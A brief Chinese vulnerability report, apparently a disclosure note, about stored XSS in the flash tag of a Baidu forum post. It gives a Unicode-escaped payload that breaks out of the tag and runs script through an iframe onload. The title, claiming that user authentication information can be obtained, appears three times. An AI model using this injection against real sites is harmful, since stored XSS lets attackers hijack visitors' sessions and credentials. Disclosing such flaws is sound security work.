在发表帖子时找flash处

插入编码好的xss

\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e/1.swf[/flash] 


百度某论坛某处储存xss可获取用户认证信息


百度某论坛某处储存xss可获取用户认证信息


百度某论坛某处储存xss可获取用户认证信息